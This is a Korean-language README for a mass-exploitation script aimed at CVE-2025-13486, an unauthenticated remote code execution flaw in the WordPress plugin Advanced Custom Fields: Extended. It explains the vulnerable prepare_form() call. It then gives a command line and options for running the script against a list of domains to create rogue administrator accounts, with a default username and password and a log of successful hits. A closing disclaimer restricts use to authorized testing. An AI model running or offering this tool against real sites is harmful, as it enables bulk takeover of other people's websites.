CVE-2025-13486 대량 익스플로잇

Advanced Custom Fields: Extended 0.9.0.5 - 0.9.1.1 - prepare_form에서 인증 없는 원격 코드 실행

⚠️ 취약점 세부 정보

WordPress용 Advanced Custom Fields: Extended 플러그인은 0.9.0.5부터 0.9.1.1 버전까지 prepare_form() 함수를 통해 원격 코드 실행에 취약합니다. 이는 함수가 사용자 입력을 받아 call_user_func_array()로 전달하기 때문입니다. 이를 통해 인증되지 않은 공격자가 서버에서 임의의 코드를 실행할 수 있으며, 이는 백도어를 주입하거나 새로운 관리자 사용자 계정을 생성하는 데 악용될 수 있습니다.

🚀 사용법

명령줄에서 스크립트를 실행합니다:

python CVE-2025-13486.py -l list.txt --email [email protected] --user new_user --password new_password

📝 옵션

options:
  -u, --url URL         Single target WordPress site URL
  -l yourlist.txt
                        File containing list of domains/URLs
  --email, --email EMAIL
                        Email to set 
  --user USERNAME
                        Username to create (default: nemesis)
  --password PASSWORD
                        Password to set (default: Warga@Sipil1337)
  -o output.txt
                        Output file to save successful results (default: success_results.txt)

⚖️ 책임 있는 공개 및 면책 조항

• 이 저장소는 보안 연구, 테스트 및 방어 목적으로 제공됩니다.
• 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 이러한 기술을 사용하지 마십시오.
• 승인되지 않은 취약점 악용은 불법이며 비윤리적입니다.
• 사이트 소유자이고 취약하다고 생각되는 경우 플러그인/테마를 최신 버전으로 업데이트하거나 공급업체 패치를 즉시 적용하십시오.
• 이 코드는 승인된 환경(연구실, 클라이언트 승인 침투 테스트, 또는 명시적 허가를 받은 경우)에서만 사용하십시오.